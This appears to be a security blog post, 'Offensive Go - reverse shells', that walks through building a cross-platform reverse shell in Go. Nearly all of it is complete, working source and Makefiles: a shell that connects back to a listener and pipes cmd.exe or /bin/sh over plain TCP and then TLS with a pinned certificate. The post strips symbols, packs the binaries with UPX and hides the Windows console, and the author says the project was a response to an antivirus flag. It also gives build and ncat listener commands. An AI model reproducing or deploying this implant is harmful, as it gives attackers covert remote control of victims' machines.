Skip to main content

bartunek.me

Offensive Go - reverse shells

Some time ago, I stumbled upon Hershell a multi-platform reverse shell written in Go. Unfortunately, it was marked as malicious by our corporate antivirus solution.
As an exercise, I decided to create my version of the Golang multi-platform reverse-shell based on the Hershell code. There are some features I would like to have: reverse-shell should compile easily for different platforms: Windows, Linux, macOS for both x86 and x64 architectures.
The program needs to encrypt data in transit and should have some protection from connecting to any listener. In case it is left on the system by accident with some scheduled task or cron job after pentest, it should not connect to some other service listening on the same IP/port as the initial listener.

Firstly I have created a simple reverse-shell sending commands and output with TCP socket in plain text - just as a Proof of Concept, to get familiar with a language and create a basic Makefile for building it for multiple platforms. Then it was re-worked to make use of TLS encryption and verify the server certificate fingerprint with a hardcoded one. For ease of use, I created a Makefile that will compile our binary with configuration parameters such as listener IP address and TCP port. Binary will be compiled without debugging information and packed with UPX to reduce its size (Go are pretty large).

Creating a reverse connection and spawning command interpreter

The code is pretty simple. The program takes the listener IP address and port as an argument - then it tries to connect to the target calling the net.Dial function. When the connection failed it waits 20 seconds and tries again (there will be three tries in total). When connection is established, prepareCmd() function is executed - this is a wrapper for os.exec.Command, it returns a Cmd struct and will be described later. Next it redirects STDIN, STDOUT and STDERR to the TCP connection and executes command returned by prepareCmd() function.

Code of go-rsh.go:

package main

import (
  "net"
  "os/exec"
  "time"
)

var (
  lhost string
  lport string
)

func main(){
  var target string = lhost + ":" + lport
  var cmd *exec.Cmd
  var err error
  var conn net.Conn = nil
  var attempt int = 0

  for conn == nil && attempt < 3 {
    conn, err = net.Dial("tcp", target)
    if err != nil {
      time.Sleep(20 * time.Second)
      conn = nil
    } else {
      cmd = prepareCmd()
      cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
      cmd.Run()
      conn.Close()
    }
    attempt += 1
  }
}

Preparing a command interpreter depending on the operating system

Next, we need to implement a way to spawn a command interpreter, depending on the target operating system. On Windows OS, the program should execute cmd.exe on Unix-like systems (Linux, macOS), it should call /bin/sh (or /bin/bash).
I will create two different versions of prepareCmd() function and include the appropriate source code file during a build in a Makefile.

Version for Unix like systems:

package main

import "os/exec"

func prepareCmd() (*exec.Cmd) {
  cmd := exec.Command("/bin/sh")

  return cmd
}

and the second one for Windows:

package main

import "os/exec"
import "syscall"

func prepareCmd() (*exec.Cmd) {
  cmd := exec.Command("cmd.exe")
  cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
  return cmd
}

Windows version, except spawning cmd.exe, also sets the additional attribute to hide the command prompt window from the user - usually, you don’t want to have a cmd.exe window opened for such programs - it’s better when they work in the background.

Building binary with Make

For building our reverse shell, I will use Makefile. For each build target I will specify which version of the prepareCmd() function is used. Below is a Make target for x86 Windows OS. It is using two source code files: go-rsh.go and premareCmd_windows.go.

win32:
        echo "Building Windows i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
        GOOS=windows GOARCH=386 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd_windows.go
        $(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh.exe

here is a Linux target, including go-rsh.go and prepareCmd.go source files:

linux32:
        echo "Building Linux i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
        GOOS=linux GOARCH=386 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd.go
        $(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh

At the beginning of the Makefile, I’m setting some variables - build command, packer, output directory, operating system build is running on, listening to host (by default it takes the current IP address) and listening port.
The last two variables are setting linker flags - one set for Unix-like systems and another for Windows. The difference is -H=windowsgui that tells the linker to build an executable as a Windows GUI application - this will hide the command prompt window. The whole Makefile with Windows, Linux, and macOS build targets can be found below.

CC=go build
PACKER=upx
ODIR=dist
OS := $(shell uname)
ifeq ($(OS), Linux)
  LHOST=$$(hostname -I | cut -f1 -d' ')
else
  LHOST=$$(ifconfig | grep "inet " | grep -v 127.0.0.1 | cut -d" " -f2 | head -n1)
endif
LPORT=1337
LDFLAGS="-s -w -X main.lhost=$(LHOST) -X main.lport=$(LPORT)"
LDFLAGS_WIN="-s -w -X main.lhost=$(LHOST) -X main.lport=$(LPORT) -H=windowsgui"

.SILENT: clean depends linux32 linux win32 win64 macos
.PHONY: clean

cert := $(ODIR)/$(SRV_PEM)

win32:
  echo "Building Windows i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
  GOOS=windows GOARCH=386 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd_windows.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh.exe
  rm $(ODIR)/*.bin

win64:
  echo "Building Windows reverse shell - connect back to: $(LHOST):$(LPORT)"
  GOOS=windows GOARCH=amd64 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd_windows.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh64.exe
  rm $(ODIR)/*.bin

linux32:
  echo "Building Linux i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
  GOOS=linux GOARCH=386 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh
  rm $(ODIR)/*.bin

linux64:
  echo "Building Linux reverse shell - connect back to: $(LHOST):$(LPORT)"
  GOOS=linux GOARCH=amd64 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh64
  rm $(ODIR)/*.bin

macos:
  echo "Building MacOS reverse shell - connect back to: $(LHOST):$(LPORT)"
  GOOS=darwin GOARCH=amd64 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh-mac
  rm $(ODIR)/*.bin

all: win32 win64 linux32 linux macos

clean:
  rm -rf $(ODIR)

Adding encryption

Now when we have a simple reverse-shell communicating in plain text over TCP, let’s add encryption. The code will be similar to the previous one, but instead of net.Dail, I will use tls.Dial. Another thing to verify during connection creation is the SSL certificate fingerprint.
Server certificate will be generated in Makefile before build and its the fingerprint will be hard-coded into binary.
Program main() function looks like this:

func main() {
  var target string = lhost + ":" + lport
  var attempt int = 0
  var ok bool = false

  fprint := strings.Replace(fingerprint, ":", "", -1)
  bytesFingerprint, nil := hex.DecodeString(fprint)
  config := &tls.Config{InsecureSkipVerify: true}

  for ok != true && attempt < 3 {
    conn, err := tls.Dial("tcp", target, config)

    if err != nil {
      time.Sleep(20 * time.Second)
    } else {
      if ok, err = CheckKeyPin(conn, bytesFingerprint); err != nil || !ok {
        os.Exit(1)
      }
      var cmd *exec.Cmd
      cmd = prepareCmd()
      cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
      cmd.Run()
      conn.Close()
    }
    attempt += 1
  }
}

In the beginning, it converts a certificate fingerprint to bytes, then configures TLS to skip certificate validation (accept self-signed certificates). Then it tries to establish a TLS connection to the listener.
When the connection is successful, the CheckKeyPin() function verifies the certificate fingerprint. The CheckKeyPin function code comes from Hershell, it takes the following arguments: a TLS connection and fingerprint bytes. The function calculates the fingerprint of the certificate sent by the server and compares it with the value passed as an argument.

func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
  valid := false
  connState := conn.ConnectionState()
  for _, peerCert := range connState.PeerCertificates {
    hash := sha256.Sum256(peerCert.Raw)
    if bytes.Compare(hash[0:], fingerprint) == 0 {
      valid = true
    }
  }
  return valid, nil
}

Whole code of encrypted reverse-shell:

package main

import (
  "crypto/tls"
  "crypto/sha256"
  "bytes"
  "os/exec"
  "time"
  "encoding/hex"
  "strings"
  "os"
)

var (
  lhost string
  lport string
  fingerprint string
)

func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
  valid := false
  connState := conn.ConnectionState()
  for _, peerCert := range connState.PeerCertificates {
    hash := sha256.Sum256(peerCert.Raw)
    if bytes.Compare(hash[0:], fingerprint) == 0 {
      valid = true
    }
  }
  return valid, nil
}

func main() {
  var target string = lhost + ":" + lport
  var attempt int = 0
  var ok bool = false

  fprint := strings.Replace(fingerprint, ":", "", -1)
  bytesFingerprint, nil := hex.DecodeString(fprint)
  config := &tls.Config{InsecureSkipVerify: true}

  for ok != true && attempt < 3 {
    conn, err := tls.Dial("tcp", target, config)

    if err != nil {
      time.Sleep(20 * time.Second)
    } else {
      if ok, err = CheckKeyPin(conn, bytesFingerprint); err != nil || !ok {
        os.Exit(1)
      }
      var cmd *exec.Cmd
      cmd = prepareCmd()
      cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
      cmd.Run()
      conn.Close()
    }
    attempt += 1
  }
}

Building everything

I will modify the previous Makefile by adding an encrypted reverse shell as a separate artifact from the build. Make will generate server certificate and key first, then it will build both reverse-shells.

First, define key and certificate file names, then command to generate certificate fingerprint:

SRV_KEY=server.key
SRV_PEM=server.pem
FINGERPRINT=$$(openssl x509 -fingerprint -sha256 -noout -in $(ODIR)/$(SRV_PEM) | cut -d '=' -f2)

Next add new target tat will generate certificate:

$(cert):
  @ echo "Generating SSL cert"
  @ mkdir -p dist
  @ openssl req -subj '/CN=acme.com/O=ACME/C=FR' -new -x509 -keyout $(ODIR)/$(SRV_KEY) -out $(ODIR)/$(SRV_PEM) -days 365 -nodes
  @ cat $(ODIR)/$(SRV_KEY) >> $(ODIR)/$(SRV_PEM)
  @ echo "For handling incoming SSL connections use for example ncat:\n"
  @ echo "ncat --ssl --ssl-cert $(ODIR)/$(SRV_PEM) --ssl-key $(ODIR)/$(SRV_KEY) -lvp $(LPORT)\n\n"

Last thing we need to do, is to modify each target - add certificate generation, before each target and build new code:

win32: $(cert)
  echo "Building Windows i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
  GOOS=windows GOARCH=386 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd_windows.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh.exe
  GOOS=windows GOARCH=386 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh-ssl.bin go-rsh-ssl.go prepareCmd_windows.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh-ssl.bin -o $(ODIR)/go-rsh-ssl.exe
  rm $(ODIR)/*.bin

Full Makefile:

CC=go build
PACKER=upx
ODIR=dist
OS := $(shell uname)
ifeq ($(OS), Linux)
  LHOST=$$(hostname -I | cut -f1 -d' ')
else
  LHOST=$$(ifconfig | grep "inet " | grep -v 127.0.0.1 | cut -d" " -f2 | head -n1)
endif
LPORT=1337
SRV_KEY=server.key
SRV_PEM=server.pem
FINGERPRINT=$$(openssl x509 -fingerprint -sha256 -noout -in $(ODIR)/$(SRV_PEM) | cut -d '=' -f2)
LDFLAGS="-s -w -X main.lhost=$(LHOST) -X main.lport=$(LPORT) -X main.fingerprint=$(FINGERPRINT)"
LDFLAGS_WIN="-s -w -X main.lhost=$(LHOST) -X main.lport=$(LPORT) -X main.fingerprint=$(FINGERPRINT) -H=windowsgui"

.SILENT: clean depends linux32 linux64 win32 win64 ssl macos
.PHONY: clean

cert := $(ODIR)/$(SRV_PEM)

$(cert):
  @ echo "Generating SSL cert"
  @ mkdir -p dist
  @ openssl req -subj '/CN=acme.com/O=ACME/C=FR' -new -x509 -keyout $(ODIR)/$(SRV_KEY) -out $(ODIR)/$(SRV_PEM) -days 365 -nodes
  @ cat $(ODIR)/$(SRV_KEY) >> $(ODIR)/$(SRV_PEM)
  @ echo "For handling incoming SSL connections use for example ncat:\n"
  @ echo "ncat --ssl --ssl-cert $(ODIR)/$(SRV_PEM) --ssl-key $(ODIR)/$(SRV_KEY) -lvp $(LPORT)\n\n"

win32: $(cert)
  echo "Building Windows i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
  GOOS=windows GOARCH=386 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd_windows.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh.exe
  GOOS=windows GOARCH=386 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh-ssl.bin go-rsh-ssl.go prepareCmd_windows.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh-ssl.bin -o $(ODIR)/go-rsh-ssl.exe
  rm $(ODIR)/*.bin

win64: $(cert)
  echo "Building Windows reverse shell - connect back to: $(LHOST):$(LPORT)"
  GOOS=windows GOARCH=amd64 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd_windows.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh64.exe
  GOOS=windows GOARCH=amd64 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh-ssl.bin go-rsh-ssl.go prepareCmd_windows.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh-ssl.bin -o $(ODIR)/go-rsh-ssl64.exe
  rm $(ODIR)/*.bin

linux32: $(cert)
  echo "Building Linux i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
  GOOS=linux GOARCH=386 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh
  GOOS=linux GOARCH=386 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh-ssl.bin go-rsh-ssl.go prepareCmd.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh-ssl.bin -o $(ODIR)/go-rsh-ssl
  rm $(ODIR)/*.bin

linux64: $(cert)
  echo "Building Linux reverse shell - connect back to: $(LHOST):$(LPORT)"
  GOOS=linux GOARCH=amd64 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh64
  GOOS=linux GOARCH=amd64 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh-ssl.bin go-rsh-ssl.go prepareCmd.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh-ssl.bin -o $(ODIR)/go-rsh-ssl64
  rm $(ODIR)/*.bin

macos: $(cert)
  echo "Cert fingerprint: $(FINGERPRINT)"
  echo "Building MacOS reverse shell - connect back to: $(LHOST):$(LPORT)"
  GOOS=darwin GOARCH=amd64 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh-mac
  GOOS=darwin GOARCH=amd64 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh-ssl.bin go-rsh-ssl.go prepareCmd.go
  $(PACKER) -qqq -9 $(ODIR)/go-rsh-ssl.bin -o $(ODIR)/go-rsh-ssl-mac
  rm $(ODIR)/*.bin

all: win32 win64 linux32 linux macos

clean:
  rm -rf $(ODIR)

Now you can build reverse-shells issuing a command:

make linux64 LHOST=<attacker-host> LPORT=<listeneing-port>

Make will save both versions of the reverse shell in the dist directory:

% ls dist
go-rsh-ssl64
go-rsh64
server.key
server.pe

to start a listener for encrypted reverse-shell use ncat:

ncat --ssl --ssl-cert dist/server.pem --ssl-key dist/server.key -lvp 1234

References